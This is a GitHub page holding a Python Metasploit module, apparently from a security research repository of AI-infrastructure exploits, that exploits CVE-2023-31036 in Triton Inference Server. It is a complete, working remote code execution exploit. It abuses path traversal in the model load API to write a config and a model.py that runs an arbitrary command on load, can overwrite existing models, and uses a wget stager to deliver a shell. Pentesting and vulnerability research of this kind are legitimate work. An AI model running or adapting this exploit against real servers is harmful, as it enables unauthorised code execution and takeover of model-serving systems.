forked from protectai/ai-exploits
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtriton_model_rce.py
executable file
·211 lines (172 loc) · 6.21 KB
/
triton_model_rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
import base64
import random
# extra modules
dependencies_missing = False
try:
import requests
from requests import Session
except ImportError:
dependencies_missing = True
from metasploit import module
metadata = {
'name': 'Triton Inference Server RCE through Python backend model upload',
'description': '''
When the Triton Inference Server is started with `--model-control-mode explicit` argument, an attacker is able to overwrite arbitrary files on the server.
This leads to RCE as Triton has a Python backend that can execute arbitrary Python files.
This module requires the MeterpreterTryToFork to be true.
''',
'authors': [
'l1k3beef', # Vuln Discovery
'byt3bl33d3r <marcello@protectai.com>', # MSF Module
'danmcinerney <dan@protectai.com>' # MSF Module
],
'rank': 'excellent',
'date': '2023-11-15',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/b27148e3-4da4-4e12-95ae-756d33d94687/'},
{'type': 'cve', 'ref': 'CVE-2023-31036'}
],
'type': 'remote_exploit_cmd_stager',
'targets': [
{'platform': 'linux', 'arch': 'aarch64'},
{'platform': 'linux', 'arch': 'x64'},
{'platform': 'linux', 'arch': 'x86'}
],
'default_options': {
'MeterpreterTryToFork': True
},
'payload': {
'command_stager_flavor': 'wget'
},
'options': {
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': "touch /tmp/metasploit"},
'modelname': {'type': 'string', 'description': 'The name of the model to upload', 'required': True, 'default': "metasploit"},
'overwrite': {'type': 'bool', 'description': 'Overwrite existing model instead of creating a new one via path traversal', 'required': True, 'default': False},
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 8000},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
MODEL_CONFIG = '''
name: "MODEL_NAME"
backend: "python"
input [
{
name: "input__0"
data_type: TYPE_FP32
dims: [ -1, 3 ]
}
]
output [
{
name: "output__0"
data_type: TYPE_FP32
dims: [ -1, 1 ]
}
]
instance_group [
{
count: 1
kind: KIND_CPU
}
]
parameters [
{
key: "INFERENCE_MODE"
value: { string_value: "true" }
}
]
'''
PYTHON_MODEL = '''
import os
class TritonPythonModel:
def initialize(self, args):
os.system("PAYLOAD_HERE")
def execute(self, requests):
return
def finalize(self):
return
'''
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
s = Session()
model_name = args['modelname']
model_repo_path = ""
if args['overwrite']:
logging.info("Getting list of model repositories")
r = s.post(f"{base_url}/v2/repository/index")
try:
model_name = random.choice(r.json())['name']
except IndexError:
logging.error("No models found on server. Exploit cannot continue")
return
logging.info(f"Will be overwriting config of model '{model_name}'")
else:
model_repo_path = f"../../models/{model_name}/"
logging.info("Attempting to unload model (1/3)")
s.post(f"{base_url}/v2/repository/models/{model_name}/unload")
logging.info("Creating model repo layout: uploading model config (2/3)")
s.post(
f"{base_url}/v2/repository/models/{model_name}/load",
json={ "parameters" : {
"config" : "{}",
f"file:{model_repo_path}config.pbtxt": base64.b64encode(
MODEL_CONFIG.replace("MODEL_NAME", model_name).encode()
).decode()
}
}
)
logging.info("Creating model repo layout: uploading model.py (3/3)")
r = s.post(
f"{base_url}/v2/repository/models/{model_name}/load",
json={ "parameters" : {
"config" : "{}",
f"file:{model_repo_path}1/model.py": base64.b64encode(
PYTHON_MODEL.replace("PAYLOAD_HERE", args["command"]).encode()
).decode()
}
}
)
if not args['overwrite']:
logging.info("Loading model to trigger payload")
r = s.post(f"{base_url}/v2/repository/models/{model_name}/load")
if r.status_code == 200:
logging.info(f"Model load complete, you should get a shell. Status: {r.status_code}")
logging.debug(r.text)
else:
logging.error(f"Exploit failed, model load was not successful. Status: {r.status_code}")
logging.debug(r.text)
if __name__ == '__main__':
module.run(metadata, run)